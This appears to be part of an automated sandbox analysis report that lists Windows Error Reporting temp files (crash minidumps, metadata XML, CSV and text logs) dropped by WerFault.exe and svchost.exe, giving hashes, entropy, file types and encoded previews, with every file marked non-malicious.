SHA1:	75608350DF1AEDF44EB1F4A18B47F6D1CB82D940
SHA-256:	995C7BDAEF834A7D269D63F947EAE299C4B157FDEED215BA2BB57C187D099EBC
SHA-512:	36C9124499953DC9BA682BFE5B08893E091F841E89B422ACA26877CED4CE3D3498B9C55D39C8A189DD4E334AEFF4E96D1E2137BA96DE5839708F429932159ACB
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3C4D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Sep 28 22:53:38 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	65884
Entropy (8bit):	2.3271788300386405
Encrypted:	false
SSDEEP:	384:xn4kzrlrEB+1g63ngnUXXl7es/BRL8kB2N33JhrQy5:x4kzrlABydfXXl75JR8k+3U
MD5:	3B49928DC69871CDA1E1600C3A1F061A
SHA1:	C53C408D448E70173FEFB512EE19D90D9985C4BC
SHA-256:	1C8703D6ACD4FBF8C04966BC8B31AB1A3B72082E96CE66EDF97640A1E45CF7F4
SHA-512:	9561DFC6A804E7E91E5BA87A0860662E65D7AD44893F3191868F276BE6533383EDF9A968CDA2C2790D484BD40FFCC005E9C56EB37352BE6AE0A4136D9197878E
Malicious:	false
Preview:	MDMP..a..... .........f........................\...........4....-..........T.......8...........T...........................X...........D...............................................................................eJ..............GenuineIntel............T.............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D0A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8452
Entropy (8bit):	3.7069801399602196
Encrypted:	false
SSDEEP:	192:R6l7wVeJpP6Py6Y3F6tldgmf3DpBQ89bo7sfgmYm:R6lXJx6K6Y16t/gmf3xoAfgA
MD5:	ED0970ED5CD98BB8173AAC826B927BD6
SHA1:	F3107C2905D860EB58462BFD06812C126FBBA24B
SHA-256:	6A409A657199804B2618414AD37206ECC4DD453FB0A932860D51E3D92735F7E6
SHA-512:	5871ABA8D02FC5577C13306188ED65F71BDB4E42ED7EA04C3C8D01394A7F9CC5076CB47567BAB153B4B513E9C50EAF623A03FC616A46D863EF924BF4682680FD
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D59.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4790
Entropy (8bit):	4.532940328972676
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmJg77aI9gLWpW8VYhYm8M4J/JEFV+q8v5JD9RIMhyZad:uIjf8I7+67VVJBIKDDXfAZad
MD5:	DA2551D4D2E185204DC69CBAFB3334A7
SHA1:	416E6400AAB08080DECAA2C7433FCA7B6C8E0E11
SHA-256:	00D22E9CFB5234EE717A841BDB513CC19071B3D7A47D8B1457053215F6CB13DE
SHA-512:	798D9DC82E5CCA68E12BA60F15473A9FF875265E81241B661569A6410137B1C3CAA0C0410D2B5E03984818E5E306D3CBAA3C5099AA87491B0F29B83C7839CAF6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="520676" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D69.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	86990
Entropy (8bit):	3.0477635205686635
Encrypted:	false
SSDEEP:	1536:mN3mQxnjhk4lC1oSSq1j1wH1GFsPnkpubobRrvuywEzDf9BLEtUqmjA:mN3mQxnjhk4lC1oSSq1j1wH1GFsPnkpi
MD5:	B8A029E5120DF4728A8DFBD03B2FBB79
SHA1:	EC82F2FE4F6E9CB9DDAD333E4E66BAD69FEE6958
SHA-256:	6C45C558BEEEE100EC517E0AE91D3160830B24F1281B2ED529FF91D1683ADB47
SHA-512:	0E5F4C1D4758D1A123F99F02171E4CB25B4680C469DF1C1AB5E6BAA774E33AC50C0EC10CE804ADA616EA29A6CD017FF66B8873F13262D822D3BD951ECAF4F6BD
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E54.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.684899297565537
Encrypted:	false
SSDEEP:	96:TiZYWZ/aEdY7YpHWnHsYEZc7FtaiB091YtwbsHaBn6RfMqOBIA23:2ZDPMGCTMmaBnifMqO+A23
MD5:	3C8801589918E3E9C25349319C7AAF58
SHA1:	9C2CB515E8804F3FE893DA55A9ADAEF2CFB92C81
SHA-256:	2A0179D5A14ED0493D190D85AB011AC8CAFE7B0F9C3ACF8A77D3B11151E70358
SHA-512:	9D95BA79A57E7B4794EE7C797011008B12E5C4D10AE2DA398D3DD2EB916C249DB09DC99A72D00DDA911734FBF5897A209743F4DC02D65EA8117CA1D56A1B7530
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER415E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Sep 28 22:53:39 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	75556
Entropy (8bit):	2.0916962418145597
Encrypted:	false
SSDEEP:	384:x8esO/3zP0wIhB+tKDhBf7Jyf9rN7es/BRL8kB2N33mYe60B:x8esY3zczBXTfFyf9R75JR8k+3/
MD5:	7848EF225E487E7A71E369CF3C99424E
SHA1:	5C4A6FB70214898B88CAD66BB60C9A74FEB722B5
SHA-256:	21279FA30B5092E3BE7D4D04C911914E354E98A5D411C26F6EAE3722488E301A
SHA-512:	7AC9F0FAD4E94783D7848732F7DB9ED31F9BD3005710D64068C9A9AF4BF9942A41872BB71A86E75BE22A9902517C9112192FF9B33E2111339F87468AA9347B67
Malicious:	false
Preview:	MDMP..a..... .........f............T...........\...\.......$....3..........T.......8...........T...........P...........................................................................................................eJ......<.......GenuineIntel............T.............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER449B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8454
Entropy (8bit):	3.7059767465894087
Encrypted:	false
SSDEEP:	192:R6l7wVeJpjb6X6Y386tI9gmf3DpBZ89bH7sfEtm:R6lXJ9b6X6Ys6tygmf3KHAfz
MD5:	A878BD7F7018ECA4D5E1C0715ABEE1C4
SHA1:	4D0B76CC15833A1927C6517D06B58BD6A54DA53F
SHA-256:	0980223C4FD64ABDD80C0F9A9CF21A723FEC4A4719986904C391AD1A23C10F40
SHA-512:	16240A858DCAB82C45FA6F129ED6834F711BF52AB6C3385B9CD10DF018FD3823DE537D43F0A2540276E79342DCEB2E3B8BBC1DD88F5DB363AE916F138C3C7864
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER450A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4790
Entropy (8bit):	4.529452448606539
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmJg77aI9gLWpW8VYtYm8M4J/JEFq+q8v5JD9RIMhyZad:uIjf8I7+67VFJBrKDDXfAZad
MD5:	43C82F4F3D10F70D6B6CFF96EE78E241
SHA1:	959E00AA484D63BC5D85E8771842B7786BE53381
SHA-256:	A38B14729300A2FA8388091E2A6EBE7C59BCE3F6826CE0CE64AF7AEBD1C26E23
SHA-512:	59EA02287D4304B7E7485AAFCC77834084B13BCD927C721883C0418E0E490D2065D7D3DD9CA7CFBDFBD6BA066BB2F7021234540A2D2D792895E2F99036CD4DBA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="520676" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER45A8.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	87430
Entropy (8bit):	3.0482585304333534
Encrypted:	false
SSDEEP:	1536:bbSHYKj8T5nly1oSqqpj1JH+6PnkWuwJbervuyx+irv0ltvUq0W6:bbSHYKj8T5nly1oSqqpj1JH+6PnkWuwE
MD5:	D060AE91A97255C3B077C1C804B525B5
SHA1:	16980C5BB30F8F128B22BEC58CC0BD7AB0C2C53E
SHA-256:	BD2980323D48A80E1F9A27C876E7A9EE23DA0A72EFA5B76EEFB3258A4315A25F
SHA-512:	E524D651AE12E92B41FA34893962B1416E8B775802FCDD6EC0D130DA815334AEDAD691B360B4817E495593D269E039094EFA42953547A918027B440E96125B1B
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4674.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.685588506657124
Encrypted:	false
SSDEEP:	96:TiZYWOTFHkcYfYzWOXBHEYEZ+ItaiJ0A1sw0b5aLn92M/O4IKiR23:2ZDK4yFHdaLn92M/OfKC23
MD5:	72F5C4DD7142DEC363481A310C8BCE31
SHA1:	8D57AB2F06BEF4BC8139E041507665ADE364E64E
SHA-256:	819CA75F923481049508F2C8CDAC30BF1A826B6E6E1655A5D767EAB9784EA812
SHA-512:	A1C430590DFD9CFA68E04199C030D819A338B3E42BA76DB52209E6682373D8A16788FA5A18358D769903ECA34DD9B0EAD9C09252A365E5E04138D8B14B6F2C6D
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER497C.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Sep 28 22:53:41 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	75132
Entropy (8bit):	2.1022559562839542
Encrypted:	false
SSDEEP:	384:yO/ohkz7ntbyMJCshB+BKDh6f7kGN7es/BRL8kB2N33mS0swiq:yYdzzx7BLEf4Q75JR8k+3z
MD5:	1EE1386A447EBA01C281DDB91FC7B693
SHA1:	858C4D39C69909F8A8229DC8577F75F09CDAC4E9
SHA-256:	5643BF62FECB823EE2D95BB70F3E5D44156B293A193EC12405F50D1DAEC6C207
SHA-512:	D5582FF4552D894DD9D7C2446ED7354F5EAA35594FDBAE38840B8534BC3D703E54E06ABFED0F20CD202DCACC7519A1DDBB570A725E84D7E3AF25ABB856FD14F3
Malicious:	false
Preview:	MDMP..a..... ..........f............T...........\...\.......4....3..........T.......8...........T...........P...,.......................................................................................................eJ......<.......GenuineIntel............T.............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4A97.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8452
Entropy (8bit):	3.7054158409744704
Encrypted:	false
SSDEEP:	192:R6l7wVeJpG6i6Y326rgmf3DpBw89b+7sfeeqm:R6lXJo6i6Ym6rgmf3B+AfV
MD5:	6317FDB8D5428824993E36A22D5CB14A
SHA1:	0E4024EE38CF80D6AA11B2D7E53A4C4006A4F9B4
SHA-256:	4E08705CD75D1BCF15536EB32EDA721090E1BA4ABEA042AFBF66C2470E0C7C03
SHA-512:	97EEC7A558C5889DF52E87EC9ED886F379AEECA91DB92319189691F83A71BFD33B0E0A8C15286E323ED9EFF0C6CF7AF3E1E7B6C85D54167F1E4688ECE7E97097
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4AF5.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4790
Entropy (8bit):	4.532962358631615
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmJg77aI9gLWpW8VYAYm8M4J/JEFeu+q8v5JD9RIMhyZad:uIjf8I7+67VcJB8KDDXfAZad
MD5:	E738EDC73B9FA365CE46C8A022D0C3C0
SHA1:	A385BD4B684814A96C8B1BC63B624EBFC485BD76
SHA-256:	7A84BC2425D99A441CE45935F3A1EB0CC2206740C156991BB5C742F64B3B8B08
SHA-512:	795F4AF5A2A250883044D2CA19051E43917890BF51325F33084AD2DDD881E5D9534C7C6B1BDDB17329EBB49C85985D78A4CC91CE1671281057E372DE9F587978
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="520676" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B48.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
